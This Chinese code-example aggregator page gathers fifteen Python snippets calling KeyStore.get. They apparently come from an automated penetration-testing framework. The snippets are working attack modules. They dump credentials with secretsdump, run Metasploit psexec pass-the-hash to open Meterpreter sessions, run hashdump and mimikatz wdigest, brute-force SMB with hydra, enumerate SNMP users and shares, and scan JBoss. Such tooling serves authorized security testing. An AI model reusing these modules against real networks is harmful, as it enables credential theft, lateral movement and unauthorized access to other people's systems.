本文整理汇总了Python中core.keystore.KeyStore.get方法的典型用法代码示例。如果您正苦于以下问题:Python KeyStore.get方法的具体用法?Python KeyStore.get怎么用?Python KeyStore.get使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类core.keystore.KeyStore
的用法示例。
在下文中一共展示了KeyStore.get方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: process
# 需要导入模块: from core.keystore import KeyStore [as 别名]
# 或者: from core.keystore.KeyStore import get [as 别名]
def process(self):
# load any targets we are interested in
self.getTargets()
# loop over each target
for t in self.targets:
# test for NULL authentication first
if not self.seentarget(t):
self.addseentarget(t)
self.searchTarget(t, '', '', '')
# test for any local users
for user in self.getUsers(t):
passwords = kb.get(['creds/host/' + t + '/username/' + user + '/password'])
for password in passwords:
if not self.seentarget(t + user + password):
self.addseentarget(t + user + password)
self.searchTarget(t, user, password, "")
# test for any domain users
domains = kb.get("host/" + t + "/domain")
for domain in domains:
for user in self.getDomainUsers(domain):
passwords = kb.get(['creds/domain/' + t + '/username/' + user + '/password'])
for password in passwords:
if not self.seentarget(t + user + password + domain):
self.addseentarget(t + user + password + domain)
self.searchTarget(t, user, password, domain)
return
示例2: process
# 需要导入模块: from core.keystore import KeyStore [as 别名]
# 或者: from core.keystore.KeyStore import get [as 别名]
def process(self):
# load any targets we are interested in
self.getTargets()
# loop over each target
for t in self.targets:
users = kb.get(['host/' + t + '/user'])
self.display.verbose(self.shortName + " - Connecting to " + t)
for user in users:
# verify we have not tested this host before
if not self.seentarget(t + str(user)):
# add the new IP to the already seen list
self.addseentarget(t + str(user))
passwords = kb.get(['host/' + t + '/user/' + user + '/password'])
for password in passwords:
self.display.verbose(self.shortName + " - Connecting to " + t)
# make outfile
temp_file = self.config[
"proofsDir"] + self.shortName + "_" + t + "_" + user + "_" + Utils.getRandStr(
10)
# run secretesdump.py
command = "secretsdump.py -outputfile " + temp_file + " \"" + user + "\":\"" + password + \
"\"@" + t
result = Utils.execWait(command, None)
# TODO
# parse out put and store any new info and fire any additional triggers
return
示例3: process
# 需要导入模块: from core.keystore import KeyStore [as 别名]
# 或者: from core.keystore.KeyStore import get [as 别名]
def process(self):
# load any targets we are interested in
self.getTargets()
if len(self.targets) > 0:
# connect to msfrpc
msf = myMsf(host=self.config['msfhost'], port=self.config['msfport'], user=self.config['msfuser'],
password=self.config['msfpass'])
if not msf.isAuthenticated():
return
# loop over each target
for t in self.targets:
users = kb.get("host/" + t + "/user")
for user in users:
hashes = kb.get ("host/" + t + "/user/" + user + "/fullhash")
for passhash in hashes:
# verify we have not tested this host before
if not self.seentarget(t+user+passhash):
# add the new IP to the already seen list
self.addseentarget(t+user+passhash)
self.display.verbose(self.shortName + " - Connecting to " + t)
msf.execute("use exploit/windows/smb/psexec\n")
# msf.execute("set PAYLOAD windows/meterpreter/bind_tcp\n")
# msf.execute("set LHOST %s\n" % self.config['lhost'])
# msf.execute("set LPORT %i\n" % int(Utils.getUnusedPort()))
# msf.execute("set LPORT 4444\n")
msf.execute("set RPORT 445\n")
msf.execute("set RHOST " + t + "\n")
msf.execute("set SMBUser " + user + "\n")
msf.execute("set SMBPass " + passhash + "\n")
msf.execute("exploit -j\n")
msf.sleep(int(self.config['msfexploitdelay']))
outfile = self.config["proofsDir"] + self.shortName + "_" + t + "_" + Utils.getRandStr(10)
result = msf.getResult()
Utils.writeFile(result, outfile)
kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))
parts = re.findall(".*Meterpreter session (\d+) opened.*", result)
for part in parts:
self.fire("msfSession")
self.display.verbose("NEW session on : " + t)
kb.add("host/" + t + "/msfSession/" + str(part))
# clean up after ourselves
result = msf.cleanup()
return
示例4: process
# 需要导入模块: from core.keystore import KeyStore [as 别名]
# 或者: from core.keystore.KeyStore import get [as 别名]
def process(self):
# load any targets we are interested in
self.getTargets()
# loop over each target
for t in self.targets:
users = kb.get(['host/' + t + '/user'])
self.display.verbose(self.shortName + " - Connecting to " + t)
for user in users:
# verify we have not tested this host before
if not self.seentarget(t + str(user)):
# add the new IP to the already seen list
self.addseentarget(t + str(user))
# make outfile
temp_file = self.config["proofsDir"] + self.shortName + "_" + t + "_" + Utils.getRandStr(10)
command = "hydra -s 445 -l " + user + " -P " + self.config[
"miscDir"] + "passwords.txt smb://" + t
result = Utils.execWait(command, temp_file, timeout=30)
# Extract usernames & passwords from results and add to KB
parts = re.findall(".* login:\s\s*([^\s]*)\s\s*password:\s\s*([^\s]*)", result)
for part in parts:
self.fire("newSmbPassword")
self.addVuln(t, "guessable password", {"output": temp_file.replace("/", "%2F")})
self.display.debug(
"Identified username [" + part[0] + "] with password [" + part[1] + "] on " + t)
kb.add("host/" + t + "/user/" + part[0].strip() + "/password/" + part[1].strip())
return
示例5: process
# 需要导入模块: from core.keystore import KeyStore [as 别名]
# 或者: from core.keystore.KeyStore import get [as 别名]
def process(self):
# load any targets we are interested in
self.getTargets()
for t in self.targets:
sessions = kb.get('host/' + t + '/msfSession')
if len(sessions) > 0:
# connect to msfrpc
msf = myMsf(host=self.config['msfhost'], port=self.config['msfport'], user=self.config['msfuser'],
password=self.config['msfpass'])
if msf.isAuthenticated():
# loop over each target
for s in sessions:
# verify we have not tested this session before
if not self.seentarget(s):
# add the new IP to the already seen list
self.addseentarget(s)
msf.execute("sessions -i " + str(s) + "\n")
msf.sleep(int(self.config['msfexploitdelay']))
msf.execute("getuid\n")
msf.sleep(int(self.config['msfexploitdelay']))
msf.execute("background\n")
outfile = self.config[
"proofsDir"] + self.shortName + "_GetUid_" + t + "_" + Utils.getRandStr(
10)
text = msf.getResult()
Utils.writeFile(text, outfile)
kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))
for line in text.splitlines():
m = re.match(r'^\s*Server username: (.*)\s*', line)
if (m):
self.display.verbose("Metasploit Session [" + s +
"] running as user [" + m.group(1).strip() + "]")
msf.execute("sessions -i " + str(s) + "\n")
msf.sleep(int(self.config['msfexploitdelay']))
msf.execute("sysinfo\n")
msf.sleep(int(self.config['msfexploitdelay']))
msf.execute("background\n")
outfile = self.config[
"proofsDir"] + self.shortName + "_SysInfo_" + t + "_" + Utils.getRandStr(
10)
text = msf.getResult()
Utils.writeFile(text, outfile)
kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))
for line in text.splitlines():
m = re.match(r'^\s*OS\s\s*: (.*)\s*', line)
if (m):
self.display.verbose("Metasploit Session [" + s +
"] running on OS [" + m.group(1).strip() + "]")
# clean up after ourselves
result = msf.cleanup()
return
示例6: process
# 需要导入模块: from core.keystore import KeyStore [as 别名]
# 或者: from core.keystore.KeyStore import get [as 别名]
def process(self):
# load any targets we are interested in
self.getTargets()
for t in self.targets:
sessions = kb.get('shell/' + t + '/msf')
if len(sessions) > 0:
# connect to msfrpc
msf = myMsf(host=self.config['msfhost'], port=self.config['msfport'], user=self.config['msfuser'],
password=self.config['msfpass'])
if msf.isAuthenticated():
# loop over each target
for s in sessions:
# verify we have not tested this session before
if not self.seentarget(s):
# add the new IP to the already seen list
self.addseentarget(s)
myMsf.lock.acquire()
msf.execute("sessions -i " + str(s) + "\n")
msf.sleep(int(self.config['msfexploitdelay']))
msf.execute("hashdump\n")
msf.sleep(int(self.config['msfexploitdelay']))
msf.execute("background\n")
msf.sleep(int(self.config['msfexploitdelay']))
# TODO - process results and store results in KB
# regex match on [^:]+:[^:]+:[^:]+:[^:]+:::
outfile = self.config[
"proofsDir"] + self.shortName + "_HashDump_" + t + "_" + Utils.getRandStr(
10)
text = msf.getResult()
myMsf.lock.release()
Utils.writeFile(text, outfile)
kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))
msf.execute("sessions -i " + str(s) + "\n")
msf.sleep(int(self.config['msfexploitdelay']))
msf.execute("load mimikatz\n")
msf.sleep(int(self.config['msfexploitdelay']))
msf.execute("wdigest\n")
msf.sleep(int(self.config['msfexploitdelay']))
msf.execute("background\n")
# TODO - process results and store results in KB
outfile = self.config[
"proofsDir"] + self.shortName + "_Mimikatz_" + t + "_" + Utils.getRandStr(
10)
text = msf.getResult()
Utils.writeFile(text, outfile)
kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))
# clean up after ourselves
result = msf.cleanup()
return
示例7: process
# 需要导入模块: from core.keystore import KeyStore [as 别名]
# 或者: from core.keystore.KeyStore import get [as 别名]
def process(self):
# load any targets we are interested in
self.getTargets()
# loop over each target
for t in self.targets:
# verify we have not tested this host before
ports = kb.get('service/http/' + t + '/tcp')
for port in ports:
if not self.seentarget(t + str(port)):
self.addseentarget(t+str(port))
outfile = self.config["proofsDir"] + self.shortName + "_" + t + "_" + str(port) + "_" + Utils.getRandStr(10) + ".txt"
command = "python " + self.config["jexboss"] + " -mode file-scan -out " + outfile + " -file <(echo \"http://" + t + ":" + str(port) + "\")"
result = Utils.execWait(command)
kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F" ))
contents = []
with open (outfile, "r") as myfile:
contents = myfile.readlines()
for line in contents:
m = re.match(r'^.*VULNERABLE TO (.*)\].*', line)
if (m):
vuln = m.group(1).strip()
self.addVuln(t, self.shortName + "-" + vuln, {"port": port, "output": outfile.replace("/", "%2F")})
ports = kb.get('service/https/' + t + '/tcp')
for port in ports:
if not self.seentarget(t + str(port)):
self.addseentarget(t+str(port))
outfile = self.config["proofsDir"] + self.shortName + "_" + t + "_" + str(port) + "_" + Utils.getRandStr(10) + ".txt"
command = "python " + self.config["jexboss"] + " -mode file-scan -out " + outfile + " -file <(echo \"https://" + t + ":" + str(port) + "\")"
result = Utils.execWait(command)
kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F" ))
contents = []
with open (outfile, "r") as myfile:
contents = myfile.readlines()
for line in contents:
m = re.match(r'^.*VULNERABLE TO (.*)\].*', line)
if (m):
vuln = m.group(1).strip()
self.addVuln(t, self.shortName + "-" + vuln, {"port": port, "output": outfile.replace("/", "%2F")})
return
示例8: process
# 需要导入模块: from core.keystore import KeyStore [as 别名]
# 或者: from core.keystore.KeyStore import get [as 别名]
def process(self):
# load any targets we are interested in
self.getTargets()
# loop over each target
for t in self.targets:
ports = kb.get('service/ftp/' + t + '/tcp')
for p in ports:
self.testTarget(t, p)
return
示例9: process
# 需要导入模块: from core.keystore import KeyStore [as 别名]
# 或者: from core.keystore.KeyStore import get [as 别名]
def process(self):
# load any targets we are interested in
self.getTargets()
# loop over each target
for t in self.targets:
# verify we have not tested this host before
ports = kb.get('service/http' + t + '/tcp', 'service/https/' + t + '/tcp')
for port in ports:
self.processTarget(t, port)
for hostname in self.getHostnames(t):
self.processTarget(hostname, port)
return
示例10: process
# 需要导入模块: from core.keystore import KeyStore [as 别名]
# 或者: from core.keystore.KeyStore import get [as 别名]
def process(self):
# load any targets we are interested in
self.getTargets()
if len(self.targets) > 0:
# connect to msfrpc
msf = myMsf(host=self.config['msfhost'], port=int(self.config['msfport']), user=self.config['msfuser'],
password=self.config['msfpass'])
if not msf.isAuthenticated():
return
# loop over each target
for t in self.targets:
# verify we have not tested this host before
if not self.seentarget(t):
# add the new IP to the already seen list
self.addseentarget(t)
self.display.verbose(self.shortName + " - Connecting to " + t)
# Get list of working community strings for this host
comStrings = kb.get("vuln/host/" + t + "/snmpCred/communityString")
for comString in comStrings:
myMsf.lock.acquire()
msf.execute("use auxiliary/scanner/snmp/snmp_enumshares\n")
msf.execute("set RHOSTS %s\n" % t)
msf.execute("set COMMUNITY %s\n" % comString)
msf.execute("exploit\n")
msf.sleep(int(self.config['msfexploitdelay']))
result = msf.getResult()
while (re.search(".*execution completed.*", result) is None):
result = result + msf.getResult()
myMsf.lock.release()
outfile = self.config["proofsDir"] + self.shortName + "_" + t + "_" + Utils.getRandStr(10)
Utils.writeFile(result, outfile)
kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))
# Don't need to parse out IP, we are running module one IP at a time
# Just find lines with - and pull out share name
parts = re.findall(".* - .*", result)
for part in parts:
sharename = (part.split('-')[0]).strip()
kb.add("share/smb/" + t + "/" + sharename)
# clean up after ourselves
result = msf.cleanup()
return
示例11: process
# 需要导入模块: from core.keystore import KeyStore [as 别名]
# 或者: from core.keystore.KeyStore import get [as 别名]
def process(self):
# load any targets we are interested in
self.getTargets()
for t in self.targets:
sessions = kb.get('host/' + t + '/msfSession')
if len(sessions) > 0:
# connect to msfrpc
msf = myMsf(host=self.config['msfhost'], port=self.config['msfport'], user=self.config['msfuser'],
password=self.config['msfpass'])
if msf.isAuthenticated():
# loop over each target
for s in sessions:
# verify we have not tested this session before
if not self.seentarget(s):
# add the new IP to the already seen list
self.addseentarget(s)
msf.execute("sessions -i " + str(s) + "\n")
msf.execute("getuid\n")
msf.execute("background\n")
# TODO - process results and store dat to KB
outfile = self.config[
"proofsDir"] + self.shortName + "_GetUid_" + t + "_" + Utils.getRandStr(
10)
text = msf.getResult()
Utils.writeFile(text, outfile)
kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))
msf.execute("sessions -i " + str(s) + "\n")
msf.execute("sysinfo\n")
msf.execute("background\n")
# TODO - process results and store dat to KB
outfile = self.config[
"proofsDir"] + self.shortName + "_SysInfo_" + t + "_" + Utils.getRandStr(
10)
text = msf.getResult()
Utils.writeFile(text, outfile)
kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))
# clean up after ourselves
result = msf.cleanup()
return
示例12: process
# 需要导入模块: from core.keystore import KeyStore [as 别名]
# 或者: from core.keystore.KeyStore import get [as 别名]
def process(self):
# load any targets we are interested in
self.getTargets()
if len(self.targets) > 0:
# connect to msfrpc
msf = myMsf(host=self.config['msfhost'], port=int(self.config['msfport']), user=self.config['msfuser'],
password=self.config['msfpass'])
if not msf.isAuthenticated():
return
# loop over each target
for t in self.targets:
# verify we have not tested this host before
if not self.seentarget(t):
# add the new IP to the already seen list
self.addseentarget(t)
self.display.verbose(self.shortName + " - Connecting to " + t)
# Get list of working community strings for this host
comStrings = kb.get("host/" + t + "/vuln/snmpCred/communityString")
for comString in comStrings:
msf.execute("use auxiliary/scanner/snmp/snmp_enumusers\n")
msf.execute("set RHOSTS %s\n" % t)
msf.execute("set COMMUNITY %s\n" % comString)
msf.execute("run\n")
msf.sleep(int(self.config['msfexploitdelay']))
result = msf.getResult()
while (re.search(".*execution completed.*", result) is None):
result = result + msf.getResult()
outfile = self.config["proofsDir"] + self.shortName + "_" + t + "_" + Utils.getRandStr(10)
Utils.writeFile(result, outfile)
kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))
# Extract usernames from results and add to KB
parts = re.findall(".* users: .*", result)
for part in parts:
userlist = (part.split(':')[2]).split(',')
for username in userlist:
kb.add("host/" + t + "/user/" + username.strip())
# clean up after ourselves
result = msf.cleanup()
return
示例13: process
# 需要导入模块: from core.keystore import KeyStore [as 别名]
# 或者: from core.keystore.KeyStore import get [as 别名]
def process(self):
# load any targets we are interested in
self.getTargets()
if len(self.targets) > 0:
# connect to msfrpc
msf = myMsf(host=self.config['msfhost'], port=int(self.config['msfport']), user=self.config['msfuser'], password=self.config['msfpass'])
if not msf.isAuthenticated():
return
# loop over each target
for t in self.targets:
ports = kb.get('service/http/' + t + '/tcp')
for p in ports:
# verify we have not tested this host before
if not self.seentarget(t+p):
# add the new IP to the already seen list
self.addseentarget(t+p)
myMsf.lock.acquire()
self.display.verbose(self.shortName + " - Connecting to " + t)
msf.execute("use auxiliary/scanner/http/jboss_vulnscan\n")
msf.execute("set RHOSTS %s\n" % t)
msf.execute("set RPORT %s\n" % p)
msf.execute("exploit\n")
msf.sleep(int(self.config['msfexploitdelay']))
outfile = self.config["proofsDir"] + self.shortName + "_" + t + "_" + Utils.getRandStr(10)
result = msf.getResult()
myMsf.lock.release()
Utils.writeFile(result, outfile)
kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F" ))
for line in result.splitlines():
m = re.match(r'.*Authenticated using (.*):(.*)', line)
if (m):
self.display.error("Jboss on [" + t + ":" + p + "] has default creds of [" +
m.group(1).strip() +"]/[" + m.group(2).strip() + "]")
kb.add("creds/service/jboss/" + t + "/port/" + p + "/username/"
+ m.group(1).strip() + "/password/" + m.group(2).strip())
self.fire("newJbossPassword")
# clean up after ourselves
result = msf.cleanup()
return
示例14: process
# 需要导入模块: from core.keystore import KeyStore [as 别名]
# 或者: from core.keystore.KeyStore import get [as 别名]
def process(self):
# load any targets we are interested in
self.getTargets()
# loop over each target
for t in self.targets:
users = self.getUsers(t)
self.display.verbose(self.shortName + " - Connecting to " + t)
for user in users:
# verify we have not tested this host before
if not self.seentarget(t + str(user)):
# add the new IP to the already seen list
self.addseentarget(t + str(user))
passwords = kb.get(['creds/host/' + t + '/username/' + user + '/password'])
for password in passwords:
self.display.verbose(self.shortName + " - Connecting to " + t)
# make outfile
temp_file = self.config[
"proofsDir"] + self.shortName + "_" + t + "_" + user + "_" + Utils.getRandStr(
10)
# run secretesdump.py
command = self.config["secretsdump.py"] + " -outputfile " + temp_file + " \"" + user + "\":\"" + password + \
"\"@" + t
result = Utils.execWait(command, None)
if Utils.isReadable(temp_file + '.sam'):
with open (temp_file + '.sam', "r") as myfile:
result=myfile.readlines()
for line in result:
m = line.split(':')
user = m[0].strip()
uid = m[1].strip()
lmhash = m[2].strip()
ntlmhash = m[3].strip()
kb.add("creds/host/" + t + "/username/" + user + "/lmhash/" + lmhash)
kb.add("creds/host/" + t + "/username/" + user + "/ntlmhash/" + ntlmhash)
kb.add("creds/host/" + t + "/username/" + user + "/fullhash/" + lmhash + ":" + ntlmhash)
self.fire("newNTLMHash")
return
示例15: testTarget
# 需要导入模块: from core.keystore import KeyStore [as 别名]
# 或者: from core.keystore.KeyStore import get [as 别名]
def testTarget(self, host, port):
success = False
# verify we have not tested this host before
if not self.seentarget(host + str(port)):
self.addseentarget(host + str(port))
# test for anonumous ftp
success = self.searchTarget(host, port, "anonymous", "[email protected]")
# test for user accounts
if (not success):
# get list of user creds for this host
users = self.getUsers(host)
# loop over each set of credentials
for username in users:
passwords = kb.get('host/' + host + '/user/' + username + '/password')
for password in passwords:
if (searchTarget(host, port, username, password)):
return